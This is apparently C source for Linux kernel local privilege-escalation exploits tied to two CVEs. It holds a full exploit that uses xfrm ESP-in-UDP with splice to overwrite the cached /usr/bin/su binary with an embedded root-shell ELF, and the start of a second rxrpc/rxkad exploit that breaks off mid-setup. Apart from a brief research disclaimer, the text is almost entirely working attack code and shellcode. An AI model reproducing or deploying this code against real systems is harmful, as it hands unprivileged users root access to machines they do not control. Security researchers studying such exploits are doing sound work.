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| /*
* DISCLAIMER: This exploit code is provided for authorized security research
* and educational purposes only. Do not use against systems you do not own
* or have explicit written permission to test. Original author: Hyunwoo Kim
* (@v4bel). Source: https://github.com/V4bel/dirtyfrag
* CVE-2026-43284 / CVE-2026-43500
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
#define ENC_PORT 4500
#define SEQ_VAL 200
#define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/*
* 192-byte minimal x86_64 root-shell ELF.
* _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
* PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
*
* Setting TERM in the new shell's env silences the
* "tput: No value for $TERM" / "test: : integer expected" noise
* /etc/bash.bashrc and friends emit when TERM is unset.
*
* Code (from offset 0x78):
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a ; setgid
* 0f 05 syscall
* b0 69 mov al, 0x69 ; setuid
* 0f 05 syscall
* b0 74 mov al, 0x74 ; setgroups
* 0f 05 syscall
* 6a 00 push 0 ; envp[1] = NULL
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
if (write_proc("/proc/self/uid_map", map) < 0) {
SLOG("uid_map: %s", strerror(errno)); exit(1);
}
snprintf(map, sizeof(map), "0 %u 1", real_gid);
if (write_proc("/proc/self/gid_map", map) < 0) {
SLOG("gid_map: %s", strerror(errno)); exit(1);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
close(s);
}
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (sk < 0) return -1;
struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->replay_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM_STATE_ESN;
xs->lft.soft_byte_limit = (uint64_t)-1;
xs->lft.hard_byte_limit = (uint64_t)-1;
xs->lft.soft_packet_limit = (uint64_t)-1;
xs->lft.hard_packet_limit = (uint64_t)-1;
xs->sel.family = AF_INET;
xs->sel.prefixlen_d = 32;
xs->sel.prefixlen_s = 32;
xs->sel.daddr.a4 = inet_addr("127.0.0.1");
xs->sel.saddr.a4 = inet_addr("127.0.0.1");
{
char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32);
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{
char alg_buf[sizeof(struct xfrm_algo) + 16];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16);
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
{
struct xfrm_encap_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap_type = UDP_ENCAP_ESPINUDP;
enc.encap_sport = htons(ENC_PORT);
enc.encap_dport = htons(ENC_PORT);
enc.encap_oa.a4 = 0;
put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
}
{
char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
memset(esn_buf, 0, sizeof(esn_buf));
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
char rbuf[4096];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = {
.sin_family = AF_INET,
.sin_port = htons(ENC_PORT),
.sin_addr = { inet_addr("127.0.0.1") },
};
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv); return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv); return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) { close(sk_recv); return -1; }
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send); close(sk_recv); return -1;
}
int file_fd = open(path, O_RDONLY);
if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2];
if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
if (s != 16) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
/* still proceed regardless of splice rc — kernel may have already
* decrypted the page in the time between splice and recv */
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]);
close(sk_send); close(sk_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
uint8_t got;
if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
close(fd);
return got == want ? 0 : -1;
}
static int corrupt_su(void)
{
setup_userns_netns();
usleep(100 * 1000);
/* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
* desired payload word in its seq_hi field. */
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) {
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
return 0;
}
int su_lpe_main(int argc, char **argv)
{
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
g_su_verbose = 1;
else if (!strcmp(argv[i], "--corrupt-only"))
; /* compat: this body always corrupts only */
}
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
pid_t cpid = fork();
if (cpid < 0) return 1;
if (cpid == 0) {
int rc = corrupt_su();
_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (status=0x%x)", cstatus);
return 1;
}
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
* after our overwrite) should be 0x31 0xff (xor edi, edi — first
* instruction of the new shellcode). */
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)");
return 1;
}
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
ENTRY_OFFSET);
return 0;
}
/*
* rxrpc/rxkad LPE — uid=1000 → root
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sched.h>
#include <poll.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <net/if.h>
#include <termios.h>
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif
/* ---- rxrpc constants ---- */
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_ACK 2
#define RXRPC_PACKET_TYPE_ABORT 4
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_PACKET_TYPE_RESPONSE 7
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_REQUEST_ACK 0x02
#define RXRPC_LAST_PACKET 0x04
#define RXRPC_CHANNELMASK 3
#define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum; /* big-endian on wire */
uint16_t serviceId;
} __attribute__((packed));
struct rxkad_challenge {
uint32_t version;
uint32_t nonce;
uint32_t min_level;
uint32_t __padding;
} __attribute__((packed));
/* Attacker-chosen 8-byte session key used for the rxkad token.
* Mutable because the LPE brute-force iterates over keys looking for
* one that decrypts the file's UID field to a "0:" prefix. */
static uint8_t SESSION_KEY[8] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
/* =================================================================== */
/* unshare + map setup */
/* =================================================================== */
static int write_file(const char *path, const char *fmt, ...)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
char buf[256]; va_list ap; va_start(ap, fmt);
int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
int r = (int)write(fd, buf, n); close(fd);
return r;
}
static int do_unshare_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
return -1;
}
LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
write_file("/proc/self/setgroups", "deny");
if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
WARN("uid_map: %s", strerror(errno)); return -1;
}
if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
WARN("gid_map: %s", strerror(errno)); return -1;
}
LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
real_uid, real_gid);
/* ifup lo */
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
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